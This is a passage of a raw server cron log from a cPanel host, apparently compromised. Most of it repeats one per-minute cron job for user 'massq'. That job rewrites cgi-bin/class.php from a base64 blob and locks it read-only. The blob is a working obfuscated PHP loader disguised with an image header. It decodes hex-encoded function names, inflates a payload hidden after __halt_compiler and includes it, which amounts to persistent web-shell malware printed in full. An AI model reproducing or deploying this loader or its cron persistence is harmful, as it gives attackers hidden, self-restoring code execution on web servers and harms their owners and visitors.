xcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:53:01 server CROND[11080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:53:01 server CROND[11081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:53:01 server CROND[11082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:54:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:54:01 server CROND[11461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:54:01 server CROND[11462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:55:01 server CROND[11947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:55:01 server CROND[11948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:55:01 server CROND[11952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:55:01 server CROND[11955]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:55:01 server CROND[11956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:55:01 server CROND[11957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:55:01 server CROND[11953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:56:01 server CROND[12805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:56:01 server CROND[12806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:56:01 server CROND[12807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:57:01 server CROND[13200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:57:01 server CROND[13199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:57:01 server CROND[13202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:57:01 server CROND[13201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:58:01 server CROND[13599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:58:01 server CROND[13601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:58:01 server CROND[13600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:59:01 server CROND[13990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:59:01 server CROND[13991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:59:01 server CROND[13992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:00:01 server CROND[14467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:00:01 server CROND[14468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:00:01 server CROND[14474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:00:01 server CROND[14475]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:00:01 server CROND[14479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:00:01 server CROND[14477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:00:01 server CROND[14483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:00:01 server CROND[14480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:00:01 server CROND[14478]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 01:01:01 server CROND[15302]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 01:01:01 server CROND[15303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:01:01 server CROND[15304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:01:01 server CROND[15305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:01:01 server run-parts(/etc/cron.hourly)[15302]: starting 0anacron
Sep  4 01:01:01 server anacron[15323]: Anacron started on 2026-09-04
Sep  4 01:01:01 server anacron[15323]: Normal exit (0 jobs run)
Sep  4 01:01:01 server run-parts(/etc/cron.hourly)[15325]: finished 0anacron
Sep  4 01:02:01 server CROND[15685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:02:01 server CROND[15686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:02:01 server CROND[15687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:03:01 server CROND[16058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:03:01 server CROND[16059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:03:01 server CROND[16060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:04:01 server CROND[16435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:04:01 server CROND[16436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:04:01 server CROND[16437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
